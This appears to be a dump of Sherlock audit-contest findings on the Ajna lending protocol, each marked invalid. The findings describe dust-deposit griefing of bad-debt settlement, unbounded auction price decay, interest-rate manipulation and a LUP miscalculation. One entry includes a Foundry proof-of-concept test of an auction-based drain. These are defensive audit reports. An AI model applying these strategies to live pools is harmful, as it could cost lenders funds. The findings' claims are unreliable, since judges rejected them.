scaledDeposit,\n vars.bondChange,\n vars.bucketPrice,\n Math.Rounding.Down\n );\n totalLPReward += kickerLPReward;\n\n Buckets.addLenderLP(bucket, bankruptcyTime, vars.kicker, kickerLPReward);\n } else {\n // take is above neutralPrice, Kicker is penalized\n vars.bondChange = Maths.min(liquidation_.bondSize, vars.bondChange);\n\n liquidation_.bondSize -= uint160(vars.bondChange);\n\n auctions_.kickers[vars.kicker].locked -= vars.bondChange;\n auctions_.totalBondEscrowed -= vars.bondChange;\n }\n\n // remove quote tokens from bucket’s deposit\n Deposits.unscaledRemove(deposits_, bucketIndex_, vars.unscaledQuoteTokenAmount);\n\n // total rewarded LP are added to the bucket LP balance\n if (totalLPReward != 0) bucket.lps += totalLPReward;\n // collateral is added to the bucket’s claimable collateral\n bucket.collateral += vars.collateralAmount;\n```\n\nSo the HPB depositor can remove it (there is no _revertIfAuctionDebtLocked() check for collateral):\n\n[https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/ERC20Pool.sol#L304-L330](https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/ERC20Pool.sol#L304-L330)\n\n```solidity\n function removeCollateral(\n uint256 maxAmount_,\n uint256 index_\n ) external override nonReentrant returns (uint256 removedAmount_, uint256 redeemedLP_) {\n _revertIfAuctionClearable(auctions, loans);\n\n PoolState memory poolState = _accruePoolInterest();\n\n \n maxAmount_ = _roundToScale(maxAmount_, _getArgUint256(COLLATERAL_SCALE));\n\n (removedAmount_, redeemedLP_) = LenderActions.removeMaxCollateral(\n buckets,\n deposits,\n _bucketCollateralDust(index_),\n maxAmount_,\n index_\n );\n\n emit RemoveCollateral(msg.sender, index_, removedAmount_, redeemedLP_);\n\n \n _updateInterestState(poolState, Deposits.getLup(deposits, poolState.debt));\n\n \n _transferCollateral(msg.sender, removedAmount_);\n }\n```\n\n\nBut this means that there is no downside in doing so, but it is a significant upside in effectively denying the bad debt settlements.\n\nI.e. the HPB depositor will place his deposit high, gain yield, and when his bucket happens to be within liquidation debt place these dust deposits to prevent settlements. Their deposit will be exchangeable to collateral on bucketTake() over a while, and it's still far better situation than taking part in debt write-off.\n\n## Tool used\n\nManual Review + in-house tool\n\n## Recommendation\n\nThere might be different design approaches to limiting such a strategy. As an example, consider controlling addQuoteToken() for dust (the limit might be a pool parameter set on deployment with the corresponding explanations that it shouldn't be loo low) and/or controlling it for deposit addition to be buckets higher than current HPB when there is a liquidation debt present (this will also shield naive depositors as such deposits can be subject to write offs, which they can be unaware of, i.e. the reward-risk of such action doesn't look good, so it can be prohibited for both reasons).","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/023.md"}} +{"title":"Unbounded Auction Price Decrease Leads to Lending Pool Insolvency","severity":"info","body":"Suave Canvas Skunk\n\nmedium\n\n# Unbounded Auction Price Decrease Leads to Lending Pool Insolvency\n## Summary\nWhen a borrower cannot pay their debt in an ERC20 pool, their position is liquidated and their assets enter an auction for other users to purchase small pieces of their assets. Because of the incentive that users wish to not pay above the standard market price for a token, users will generally wait until assets on auction are as cheap as possible to purchase however, this is flawed because this guarantees a loss for all lenders participating in the protocol with each user that is liquidated.\n\n## Vulnerability Detail\nConsider a situation where a user decides to short a coin through a loan and refuses to take the loss to retain the value of their position. When the auction is kicked off using the `kick()` function on this user, as time moves forward, the price for puchasing these assets becomes increasingly cheaper. These prices can fall through the floor price of the lending pool which will allow anybody to buy tokens for only a fraction of what they were worth originally leading to a state where the pool cant cover the debt of the user who has not paid their loan back with interest. The issue lies in the `_auctionPrice()` function of the `Auctions.sol` contract which calculates the price of the auctioned assets for the taker. This function does not consider the floor price of the pool. The proof of concept below outlines this scenario:\n\n*Proof of Concept:*\n```solidity\n function testInsolvency() public {\n \n // ============== Setup Scenario ==============\n uint256 interestRateOne = 0.05 * 10**18; // Collateral // Quote (loaned token, short position)\n address poolThreeAddr = erc20PoolFactory.deployPool(address(dai), address(weth), interestRateOne);\n ERC20Pool poolThree = ERC20Pool(address(poolThreeAddr));\n vm.label(poolThreeAddr, \"DAI / WETH Pool Three\");\n\n // Setup scenario and send liquidity providers some tokens\n vm.startPrank(address(daiDoner));\n dai.transfer(address(charlie), 3200 ether);\n vm.stopPrank();\n\n vm.startPrank(address(wethDoner));\n weth.transfer(address(bob), 1000 ether);\n vm.stopPrank();\n\n // ==============================================\n\n\n // Note At the time (24/01/2023) of writing ETH is currently 1,625.02 DAI,\n // so this would be a popular bucket to deposit in.\n\n // Start Scenario\n // The lower dowm we go the cheaper wETH becomes - At a concentrated fenwick index of 5635, 1 wETH = 1600 DAI (Approx real life price)\n uint256 fenwick = 5635;\n\n vm.startPrank(address(alice));\n weth.deposit{value: 2 ether}();\n weth.approve(address(poolThree), 2.226 ether);\n poolThree.addQuoteToken(2 ether, fenwick); \n vm.stopPrank();\n\n vm.startPrank(address(bob));\n weth.deposit{value: 9 ether}();\n weth.approve(address(poolThree), 9 ether);\n poolThree.addQuoteToken(9 ether, fenwick); \n vm.stopPrank();\n\n assertEq(weth.balanceOf(address(poolThree)), 11 ether);\n\n\n // ======================== start testing ========================\n\n vm.startPrank(address(bob));\n bytes32 poolSubsetHashes = keccak256(\"ERC20_NON_SUBSET_HASH\");\n IPositionManagerOwnerActions.MintParams memory mp = IPositionManagerOwnerActions.MintParams({\n recipient: address(bob),\n pool: address(poolThree),\n poolSubsetHash: poolSubsetHashes\n });\n positionManager.mint(mp);\n positionManager.setApprovalForAll(address(rewardsManager), true);\n rewardsManager.stake(1);\n vm.stopPrank();\n\n\n assertEq(dai.balanceOf(address(charlie)), 3200 ether);\n vm.startPrank(address(charlie)); // Charlie runs away with the weth tokens\n dai.approve(address(poolThree), 3200 ether);\n poolThree.drawDebt(address(charlie), 2 ether, fenwick, 3200 ether);\n vm.stopPrank();\n\n vm.warp(block.timestamp + 62 days);\n\n\n vm.startPrank(address(bob));\n weth.deposit{value: 0.5 ether}();\n weth.approve(address(poolThree), 0.5 ether);\n poolThree.kick(address(charlie)); // Kick off liquidation\n vm.stopPrank();\n\n vm.warp(block.timestamp + 10 hours);\n\n assertEq(weth.balanceOf(address(poolThree)), 9020189981190878108); // 9 ether\n\n\n vm.startPrank(address(bob));\n // Bob Takes a (pretend) flashloan of 1000 weth to get cheap dai tokens\n weth.approve(address(poolThree), 1000 ether);\n poolThree.take(address(charlie), 1000 ether , address(bob), \"\");\n weth.approve(address(poolThree), 1000 ether);\n poolThree.take(address(charlie), 1000 ether , address(bob), \"\");\n weth.approve(address(poolThree), 1000 ether);\n poolThree.take(address(charlie), 1000 ether , address(bob), \"\");\n weth.approve(address(poolThree), 1000 ether);\n poolThree.take(address(charlie), 1000 ether, address(bob), \"\");\n \n poolThree.settle(address(charlie), 100);\n vm.stopPrank();\n\n\n assertEq(weth.balanceOf(address(poolThree)), 9152686732755985308); // Pool balance is still 9 ether instead of 11 ether - insolvency. \n assertEq(dai.balanceOf(address(bob)), 3200 ether); // The original amount that charlie posted as deposit\n\n\n vm.warp(block.timestamp + 2 hours);\n // users attempt to withdraw after shaken by a liquidation\n vm.startPrank(address(alice));\n poolThree.removeQuoteToken(2 ether, fenwick);\n vm.stopPrank();\n\n vm.startPrank(address(bob));\n poolThree.removeQuoteToken(9 ether, fenwick);\n vm.stopPrank();\n\n assertEq(weth.balanceOf(address(bob)), 1007664981389220443074); // 1007 ether, originally 1009 ether\n assertEq(weth.balanceOf(address(alice)), 1626148471550317418); // 1.6 ether, originally 2 ether\n\n }\n```\n\n## Impact\nAn increase in borrowers who cant pay their debts back will result in a loss for all lenders. \n\n## Code Snippet\n\n[https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/helpers/PoolHelper.sol#L353-L370](https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/helpers/PoolHelper.sol#L353-L370)\n\n```solidity\n \n function _auctionPrice(\n uint256 referencePrice_,\n uint256 kickTime_\n ) view returns (uint256 price_) {\n uint256 elapsedMinutes = Maths.wdiv((block.timestamp - kickTime_) * 1e18, 1 minutes * 1e18);\n\n\n int256 timeAdjustment;\n if (elapsedMinutes < 120 * 1e18) {\n timeAdjustment = PRBMathSD59x18.mul(-1 * 1e18, int256(elapsedMinutes / 20));\n price_ = 256 * Maths.wmul(referencePrice_, uint256(PRBMathSD59x18.exp2(timeAdjustment)));\n } else if (elapsedMinutes < 840 * 1e18) {\n timeAdjustment = PRBMathSD59x18.mul(-1 * 1e18, int256((elapsedMinutes - 120 * 1e18) / 120));\n price_ = 4 * Maths.wmul(referencePrice_, uint256(PRBMathSD59x18.exp2(timeAdjustment)));\n } else {\n timeAdjustment = PRBMathSD59x18.mul(-1 * 1e18, int256((elapsedMinutes - 840 * 1e18) / 60));\n price_ = Maths.wmul(referencePrice_, uint256(PRBMathSD59x18.exp2(timeAdjustment))) / 16;\n }\n }\n```\n\n## Tool used\n\nManual Review + in-house tool\n\n## Recommendation\nIt's recommended that the price of the assets on auction consider the fenwick(s) being used when determining the price of assets on loan and do not fall below that particular index. With this fix in place, the worst case scenario is that lenders can purchase these assets for the price they were loaned out for allowing them to recover the loss.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/022.md"}} +{"title":"Interest rates can be raised above the market as a griefing, disabling the pool","severity":"info","body":"Suave Canvas Skunk\n\nmedium\n\n# Interest rates can be raised above the market as a griefing, disabling the pool\n## Summary\n\nInterest rates algorithm is based on `MAU` to `TAU` dynamics, where TAU is 3.5 day EMA of total debt to LUP * total collateral. The latter value can be manipulated by a big collateral holder by becoming a borrower with insignificant debt and lots of collateral, so 3.5d EMA of `Debt / (LUP * Collateral)` will become depressed and rates will go up irrespective to the real debt supply/demand situation.\n\n## Vulnerability Detail\n\nLet's suppose Bob is a big WBTC holder and current market rate for its lending is insignificant, say base WBTC deposit APY on major platforms is below 5 basis points. Say Bob is a big lender of USDC-WBTC (quote-collateral) pool or Bob has interests in disturbing that pool operations for any reasons, for example Bob is a beneficiary of a rival lending protocol.\n\nBob can borrow a minimal loan, say `1000 USDC` with big, magnitudes excessive, WBTC collateral, say `1000 WBTC`. As the pool is permissionless it is safe, Bob can withdraw any time, market risk is close to zero as the loan is too small, interest rates risk is small too as Bob left near zero market interest rate for the strict zero income while the WBTC is used as collateral in the pool. I.e. it's low risk, low cost strategy for Bob to do so.\n\nPool, on the other hand, will experience gradual rise of the interest rate as while `MAU` will stay relatively constant, `TAU` will become low due to total collateral amount being big (and stable, so EMA will move to the corresponding value), while other parts of `Debt / (LUP * Collateral)` be relatively constant.\n\nObserving the rise of interest rates above market the borrowers will gradually leave. But not all, and Bob has achieved above market interest income from dormant part of the borrowers, who are slow to react to this dynamics. But, given borrowers being mostly rational and informed, this to be relatively short-term situation. More importantly, as the rate went up and borrowers has left, lenders will observe significantly decreased utilization and will leave pool as well, not receiving enough interest income for their deposits.\n\nThis way Bob essentially disturbed the USDC-WBTC pool, so he can leave some small part of WBTC collateral there so that the rate will stay elevated and pool remain to be unusable due to significantly elevated interest rate, as no borrower will enter there on such conditions.\n\n## Impact\n\nPool utility for market participants can be destroyed by manipulating the interest rate algorithm, so such pool becomes unusable and end up being abandoned. Since for a pair of quote-collateral there can be only one pool this effectively disturb the whole line of business, i.e. profit from say USDC quote, WBTC collateral operations will cease to exist for Ajna token holders.\n\nCurrent borrowers can experience losses from the manipulated above market interest rate. Dormant borrowers, i.e. ones who be slow to react, will be hit the hardest.\n\nAttack cost is proportional to the current risk-free market interest rate of the collateral as attacker gives it up for a while. This can be low enough for the majority of widely utilized collateral assets.\n\n## Code Snippet\n\nTarget utilization TAU is computed from average collateralization ratio, `Debt / Collateral`:\n\n[https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/PoolCommons.sol#L82-L205](https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/PoolCommons.sol#L82-L205)\n```solidity\n function updateInterestState(\n InterestState storage interestParams_,\n EmaState storage emaParams_,\n DepositsState storage deposits_,\n PoolState memory poolState_,\n uint256 lup_\n ) external {\n UpdateInterestLocalVars memory vars;\n // load existing EMA values\n vars.debtEma = emaParams_.debtEma;\n vars.depositEma = emaParams_.depositEma;\n vars.debtColEma = emaParams_.debtColEma;\n vars.lupt0DebtEma = emaParams_.lupt0DebtEma;\n vars.lastEmaUpdate = emaParams_.emaUpdate;\n\n\n vars.t0Debt2ToCollateral = interestParams_.t0Debt2ToCollateral;\n\n\n // calculate new interest params\n vars.nonAuctionedT0Debt = poolState_.t0Debt - poolState_.t0DebtInAuction;\n vars.newDebt = Maths.wmul(vars.nonAuctionedT0Debt, poolState_.inflator);\n // new meaningful deposit cannot be less than pool's debt\n vars.newMeaningfulDeposit = Maths.max(\n _meaningfulDeposit(\n deposits_,\n poolState_.t0DebtInAuction,\n vars.nonAuctionedT0Debt,\n poolState_.inflator,\n vars.t0Debt2ToCollateral\n ),\n vars.newDebt\n );\n vars.newDebtCol = Maths.wmul(poolState_.inflator, vars.t0Debt2ToCollateral);\n vars.newLupt0Debt = Maths.wmul(lup_, vars.nonAuctionedT0Debt);\n\n\n // update EMAs only once per block\n if (vars.lastEmaUpdate != block.timestamp) {\n\n\n // first time EMAs are updated, initialize EMAs\n if (vars.lastEmaUpdate == 0) {\n vars.debtEma = vars.newDebt;\n vars.depositEma = vars.newMeaningfulDeposit;\n vars.debtColEma = vars.newDebtCol;\n vars.lupt0DebtEma = vars.newLupt0Debt;\n } else {\n vars.elapsed = int256(Maths.wdiv(block.timestamp - vars.lastEmaUpdate, 1 hours));\n vars.weightMau = PRBMathSD59x18.exp(PRBMathSD59x18.mul(NEG_H_MAU_HOURS, vars.elapsed));\n vars.weightTu = PRBMathSD59x18.exp(PRBMathSD59x18.mul(NEG_H_TU_HOURS, vars.elapsed));\n\n\n // calculate the t0 debt EMA, used for MAU\n vars.debtEma = uint256(\n PRBMathSD59x18.mul(vars.weightMau, int256(vars.debtEma)) +\n PRBMathSD59x18.mul(1e18 - vars.weightMau, int256(interestParams_.debt))\n );\n\n\n // update the meaningful deposit EMA, used for MAU\n vars.depositEma = uint256(\n PRBMathSD59x18.mul(vars.weightMau, int256(vars.depositEma)) +\n PRBMathSD59x18.mul(1e18 - vars.weightMau, int256(interestParams_.meaningfulDeposit))\n );\n\n\n // calculate the debt squared to collateral EMA, used for TU\n vars.debtColEma = uint256(\n PRBMathSD59x18.mul(vars.weightTu, int256(vars.debtColEma)) +\n PRBMathSD59x18.mul(1e18 - vars.weightTu, int256(interestParams_.debtCol))\n );\n\n\n // calculate the EMA of LUP * t0 debt\n vars.lupt0DebtEma = uint256(\n PRBMathSD59x18.mul(vars.weightTu, int256(vars.lupt0DebtEma)) +\n PRBMathSD59x18.mul(1e18 - vars.weightTu, int256(interestParams_.lupt0Debt))\n );\n }\n\n\n // save EMAs in storage\n emaParams_.debtEma = vars.debtEma;\n emaParams_.depositEma = vars.depositEma;\n emaParams_.debtColEma = vars.debtColEma;\n emaParams_.lupt0DebtEma = vars.lupt0DebtEma;\n\n\n // save last EMA update time\n emaParams_.emaUpdate = block.timestamp;\n }\n\n\n // reset interest rate if pool rate > 10% and debtEma < 5% of depositEma\n if (\n poolState_.rate > 0.1 * 1e18\n &&\n vars.debtEma < Maths.wmul(vars.depositEma, 0.05 * 1e18)\n ) {\n interestParams_.interestRate = uint208(0.1 * 1e18);\n interestParams_.interestRateUpdate = uint48(block.timestamp);\n\n\n emit ResetInterestRate(\n poolState_.rate,\n 0.1 * 1e18\n );\n }\n // otherwise calculate and update interest rate if it has been more than 12 hours since the last update\n else if (block.timestamp - interestParams_.interestRateUpdate > 12 hours) {\n vars.newInterestRate = _calculateInterestRate(\n poolState_,\n vars.debtEma,\n vars.depositEma,\n vars.debtColEma,\n vars.lupt0DebtEma\n );\n\n\n if (poolState_.rate != vars.newInterestRate) {\n interestParams_.interestRate = uint208(vars.newInterestRate);\n interestParams_.interestRateUpdate = uint48(block.timestamp);\n\n\n emit UpdateInterestRate(\n poolState_.rate,\n vars.newInterestRate\n );\n }\n }\n\n\n // save new interest rate params to storage\n interestParams_.debt = vars.newDebt;\n interestParams_.meaningfulDeposit = vars.newMeaningfulDeposit;\n interestParams_.debtCol = vars.newDebtCol;\n interestParams_.lupt0Debt = vars.newLupt0Debt;\n\n```\n\n\n\n_updateInterestState() and _accruePoolInterest() are called within all state changing operations of the pool:\n\n[https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/base/Pool.sol#L678-L695](https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/base/Pool.sol#L678-L695)\n\n```solidity\n function _updateInterestState(\n PoolState memory poolState_,\n uint256 lup_\n ) internal {\n\n\n PoolCommons.updateInterestState(interestState, emaState, deposits, poolState_, lup_);\n\n\n // update pool inflator\n if (poolState_.isNewInterestAccrued) {\n inflatorState.inflator = uint208(poolState_.inflator);\n inflatorState.inflatorUpdate = uint48(block.timestamp);\n // if the debt in the current pool state is 0, also update the inflator and inflatorUpdate fields in inflatorState\n // slither-disable-next-line incorrect-equality\n } else if (poolState_.debt == 0) {\n inflatorState.inflator = uint208(Maths.WAD);\n inflatorState.inflatorUpdate = uint48(block.timestamp);\n }\n }\n```\n\n[https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/base/Pool.sol#L542-L579](https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/base/Pool.sol#L542-L579)\n\n```solidity\n function _accruePoolInterest() internal returns (PoolState memory poolState_) {\n poolState_.t0Debt = poolBalances.t0Debt;\n poolState_.t0DebtInAuction = poolBalances.t0DebtInAuction;\n poolState_.collateral = poolBalances.pledgedCollateral;\n poolState_.inflator = inflatorState.inflator;\n poolState_.rate = interestState.interestRate;\n poolState_.poolType = _getArgUint8(POOL_TYPE);\n poolState_.quoteTokenScale = _getArgUint256(QUOTE_SCALE);\n\n\n // check if t0Debt is not equal to 0, indicating that there is debt to be tracked for the pool\n if (poolState_.t0Debt != 0) {\n // Calculate prior pool debt\n poolState_.debt = Maths.wmul(poolState_.t0Debt, poolState_.inflator);\n\n\n // calculate elapsed time since inflator was last updated\n uint256 elapsed = block.timestamp - inflatorState.inflatorUpdate;\n\n\n // set isNewInterestAccrued field to true if elapsed time is not 0, indicating that new interest may have accrued\n poolState_.isNewInterestAccrued = elapsed != 0;\n\n\n // if new interest may have accrued, call accrueInterest function and update inflator and debt fields of poolState_ struct\n if (poolState_.isNewInterestAccrued) {\n (uint256 newInflator, uint256 newInterest) = PoolCommons.accrueInterest(\n emaState,\n deposits,\n poolState_,\n Loans.getMax(loans).thresholdPrice,\n elapsed\n );\n poolState_.inflator = newInflator;\n // After debt owed to lenders has accrued, calculate current debt owed by borrowers\n poolState_.debt = Maths.wmul(poolState_.t0Debt, poolState_.inflator);\n\n\n // update total interest earned accumulator with the newly accrued interest\n reserveAuction.totalInterestEarned += newInterest;\n }\n }\n }\n```\n\n\n\n\nPool collateral is updated on any borrowing:\n\n[https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/BorrowerActions.sol#L106-L205](https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/BorrowerActions.sol#L106-L205)\n```solidity\n function drawDebt(\n AuctionsState storage auctions_,\n DepositsState storage deposits_,\n LoansState storage loans_,\n PoolState calldata poolState_,\n uint256 maxAvailable_,\n address borrowerAddress_,\n uint256 amountToBorrow_,\n uint256 limitIndex_,\n uint256 collateralToPledge_\n ) external returns (\n DrawDebtResult memory result_\n ) {\n // revert if not enough pool balance to borrow\n if (amountToBorrow_ > maxAvailable_) revert InsufficientLiquidity();\n\n\n // revert if borrower is in auction\n if(_inAuction(auctions_, borrowerAddress_)) revert AuctionActive();\n\n\n DrawDebtLocalVars memory vars;\n vars.pledge = collateralToPledge_ != 0;\n vars.borrow = amountToBorrow_ != 0;\n\n\n // revert if no amount to pledge or borrow\n if (!vars.pledge && !vars.borrow) revert InvalidAmount();\n\n\n Borrower memory borrower = loans_.borrowers[borrowerAddress_];\n\n\n vars.borrowerDebt = Maths.wmul(borrower.t0Debt, poolState_.inflator);\n\n\n result_.debtPreAction = borrower.t0Debt;\n result_.collateralPreAction = borrower.collateral;\n result_.t0PoolDebt = poolState_.t0Debt;\n result_.poolDebt = poolState_.debt;\n result_.poolCollateral = poolState_.collateral;\n result_.remainingCollateral = borrower.collateral;\n\n\n if (vars.pledge) {\n // add new amount of collateral to pledge to borrower balance\n borrower.collateral += collateralToPledge_;\n\n\n result_.remainingCollateral += collateralToPledge_;\n result_.newLup = Deposits.getLup(deposits_, result_.poolDebt);\n\n\n // add new amount of collateral to pledge to pool balance\n result_.poolCollateral += collateralToPledge_;\n }\n\n\n if (vars.borrow) {\n // only intended recipient can borrow quote\n if (borrowerAddress_ != msg.sender) revert BorrowerNotSender();\n\n\n vars.t0BorrowAmount = Maths.ceilWdiv(amountToBorrow_, poolState_.inflator);\n\n\n // t0 debt change is t0 amount to borrow plus the origination fee\n vars.t0DebtChange = Maths.wmul(vars.t0BorrowAmount, _borrowFeeRate(poolState_.rate) + Maths.WAD);\n\n\n borrower.t0Debt += vars.t0DebtChange;\n\n\n vars.borrowerDebt = Maths.wmul(borrower.t0Debt, poolState_.inflator);\n\n\n // check that drawing debt doesn't leave borrower debt under pool min debt amount\n _revertOnMinDebt(\n loans_,\n result_.poolDebt,\n vars.borrowerDebt,\n poolState_.quoteTokenScale\n );\n\n\n // add debt change to pool's debt\n result_.t0PoolDebt += vars.t0DebtChange;\n result_.poolDebt = Maths.wmul(result_.t0PoolDebt, poolState_.inflator);\n result_.newLup = Deposits.getLup(deposits_, result_.poolDebt);\n\n\n // revert if borrow drives LUP price under the specified price limit\n _revertIfPriceDroppedBelowLimit(result_.newLup, limitIndex_);\n\n\n // use new lup to check borrow action won't push borrower into a state of under-collateralization\n // this check also covers the scenario when loan is already auctioned\n if (!_isCollateralized(vars.borrowerDebt, borrower.collateral, result_.newLup, poolState_.poolType)) {\n revert BorrowerUnderCollateralized();\n }\n\n\n // stamp borrower Np to Tp ratio when draw debt\n vars.stampNpTpRatio = true;\n }\n\n\n // update loan state\n Loans.update(\n loans_,\n borrower,\n borrowerAddress_,\n poolState_.rate,\n false, // loan not in auction\n vars.stampNpTpRatio\n );\n\n\n result_.debtPostAction = borrower.t0Debt;\n result_.collateralPostAction = borrower.collateral;\n }\n```\n\n\n## Tool used\n\nManual Review + in-house tool\n\n## Recommendation\n\nAn effective approach could be the weighting the collateral with the corresponding debt, i.e. instead of computing `sum(D_i) / sum(C_i)` (we omit `1 / LUP` term as it's constant here), which is the average collateralization ratio, the debt weighted version of it can be used, `sum(D_i ^ 2) / sum(C_i * D_i)`, which is the average collateralization ratio weighted by current debt.\n\nAs obtaining any significant debt brings in both market and interest rate risk, i.e. will raise the probability of attacker's borrow position liquidation and also ends up paying the elevated interest rate proportionally to the debt acquired, it will substantially raise the cost and diminish practical probability of the attack.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/021.md"}} +{"title":"Intermediate LUP Calculation Leads to Incorrect Interest Rate Dynamics in moveQuoteToken() Function","severity":"info","body":"Suave Canvas Skunk\n\nhigh\n\n# Intermediate LUP Calculation Leads to Incorrect Interest Rate Dynamics in moveQuoteToken() Function\n## Summary\n\nIn LenderActions's moveQuoteToken() LUP is being evaluated after liquidity removal, but before liquidity addition. This intermediary LUP doesn't correspond to the final state of the pool, but is returned as if it does, leading to a bias in pool target utilization and interest rate calculations.\n\n## Vulnerability Detail\n\nmoveQuoteToken() calculates LUP after deposit removal only instead of doing so after the whole operation, being atomic removal from one index and addition to another, and then updates the pool accounting `_updateInterestState(poolState, newLup)` with this intermediary `newLup`, that doesn't correspond to the final state of the pool.\n\n## Impact\n\nmoveQuoteToken() is one of the base frequently used operations, so the state of the pool will be frequently enough updated with incorrect LUP and `EMA of LUP * t0 debt` internal accounting variable be systematically biased, which leads to incorrect interest rate dynamics of the pool.\n\nThere is no low-probability prerequisites and the impact is a bias in interest rate calculations, so setting the severity to be high.\n\n## Code Snippet\n\nmoveQuoteToken() calculates the LUP right after the deposit removal:\n\n[https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/LenderActions.sol#L242-L333](https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/LenderActions.sol#L242-L333)\n\n```solidity\n\n function moveQuoteToken(\n mapping(uint256 => Bucket) storage buckets_,\n DepositsState storage deposits_,\n PoolState calldata poolState_,\n MoveQuoteParams calldata params_\n ) external returns (uint256 fromBucketRedeemedLP_, uint256 toBucketLP_, uint256 movedAmount_, uint256 lup_) {\n if (params_.maxAmountToMove == 0)\n revert InvalidAmount();\n if (params_.fromIndex == params_.toIndex)\n revert MoveToSameIndex();\n if (params_.maxAmountToMove != 0 && params_.maxAmountToMove < poolState_.quoteTokenScale)\n revert DustAmountNotExceeded();\n if (params_.toIndex == 0 || params_.toIndex > MAX_FENWICK_INDEX) \n revert InvalidIndex();\n\n\n Bucket storage toBucket = buckets_[params_.toIndex];\n\n\n MoveQuoteLocalVars memory vars;\n vars.toBucketBankruptcyTime = toBucket.bankruptcyTime;\n\n\n // cannot move in the same block when target bucket becomes insolvent\n if (vars.toBucketBankruptcyTime == block.timestamp) revert BucketBankruptcyBlock();\n\n\n Bucket storage fromBucket = buckets_[params_.fromIndex];\n Lender storage fromBucketLender = fromBucket.lenders[msg.sender];\n\n\n vars.fromBucketPrice = _priceAt(params_.fromIndex);\n vars.fromBucketCollateral = fromBucket.collateral;\n vars.fromBucketLP = fromBucket.lps;\n vars.fromBucketDepositTime = fromBucketLender.depositTime;\n\n\n vars.toBucketPrice = _priceAt(params_.toIndex);\n\n\n if (fromBucket.bankruptcyTime < vars.fromBucketDepositTime) vars.fromBucketLenderLP = fromBucketLender.lps;\n\n\n (movedAmount_, fromBucketRedeemedLP_, vars.fromBucketRemainingDeposit) = _removeMaxDeposit(\n deposits_,\n RemoveDepositParams({\n depositConstraint: params_.maxAmountToMove,\n lpConstraint: vars.fromBucketLenderLP,\n bucketLP: vars.fromBucketLP,\n bucketCollateral: vars.fromBucketCollateral,\n price: vars.fromBucketPrice,\n index: params_.fromIndex,\n dustLimit: poolState_.quoteTokenScale\n })\n );\n\n\n lup_ = Deposits.getLup(deposits_, poolState_.debt);\n // apply unutilized deposit fee if quote token is moved from above the LUP to below the LUP\n if (vars.fromBucketPrice >= lup_ && vars.toBucketPrice < lup_) {\n if (params_.revertIfBelowLup) revert PriceBelowLUP();\n\n\n movedAmount_ = Maths.wmul(movedAmount_, Maths.WAD - _depositFeeRate(poolState_.rate));\n }\n\n\n vars.toBucketUnscaledDeposit = Deposits.unscaledValueAt(deposits_, params_.toIndex);\n vars.toBucketScale = Deposits.scale(deposits_, params_.toIndex);\n vars.toBucketDeposit = Maths.wmul(vars.toBucketUnscaledDeposit, vars.toBucketScale);\n\n\n toBucketLP_ = Buckets.quoteTokensToLP(\n toBucket.collateral,\n toBucket.lps,\n vars.toBucketDeposit,\n movedAmount_,\n vars.toBucketPrice,\n Math.Rounding.Down\n );\n\n\n // revert if (due to rounding) the awarded LP in to bucket is 0\n if (toBucketLP_ == 0) revert InsufficientLP();\n\n\n Deposits.unscaledAdd(deposits_, params_.toIndex, Maths.wdiv(movedAmount_, vars.toBucketScale));\n\n\n // recalculate LUP after adding amount in to bucket only if to bucket price is greater than LUP\n if (vars.toBucketPrice > lup_) lup_ = Deposits.getLup(deposits_, poolState_.debt);\n\n\n vars.htp = Maths.wmul(params_.thresholdPrice, poolState_.inflator);\n\n\n // check loan book's htp against new lup, revert if move drives LUP below HTP\n if (\n params_.fromIndex < params_.toIndex\n &&\n (\n // check loan book's htp doesn't exceed new lup\n vars.htp > lup_\n ||\n // ensure that pool debt < deposits after move\n // this can happen if deposit fee is applied when moving amount\n (poolState_.debt != 0 && poolState_.debt > Deposits.treeSum(deposits_))\n )\n ) revert LUPBelowHTP();\n .....\n```\nIntermediary LUP is then being used for interest rate state update:\n\n[https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/base/Pool.sol#L185-L222](https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/base/Pool.sol#L185-L222)\n```solidity\n function moveQuoteToken(\n uint256 maxAmount_,\n uint256 fromIndex_,\n uint256 toIndex_,\n uint256 expiry_,\n bool revertIfBelowLup_\n ) external override nonReentrant returns (uint256 fromBucketLP_, uint256 toBucketLP_, uint256 movedAmount_) {\n _revertAfterExpiry(expiry_);\n\n\n _revertIfAuctionClearable(auctions, loans);\n\n\n PoolState memory poolState = _accruePoolInterest();\n\n\n _revertIfAuctionDebtLocked(deposits, poolState.t0DebtInAuction, fromIndex_, poolState.inflator);\n\n\n MoveQuoteParams memory moveParams;\n moveParams.maxAmountToMove = maxAmount_;\n moveParams.fromIndex = fromIndex_;\n moveParams.toIndex = toIndex_;\n moveParams.thresholdPrice = Loans.getMax(loans).thresholdPrice;\n moveParams.revertIfBelowLup = revertIfBelowLup_;\n\n\n uint256 newLup;\n (\n fromBucketLP_,\n toBucketLP_,\n movedAmount_,\n newLup\n ) = LenderActions.moveQuoteToken(\n buckets,\n deposits,\n poolState,\n moveParams\n );\n\n\n // update pool interest rate state\n _updateInterestState(poolState, newLup);\n }\n``` 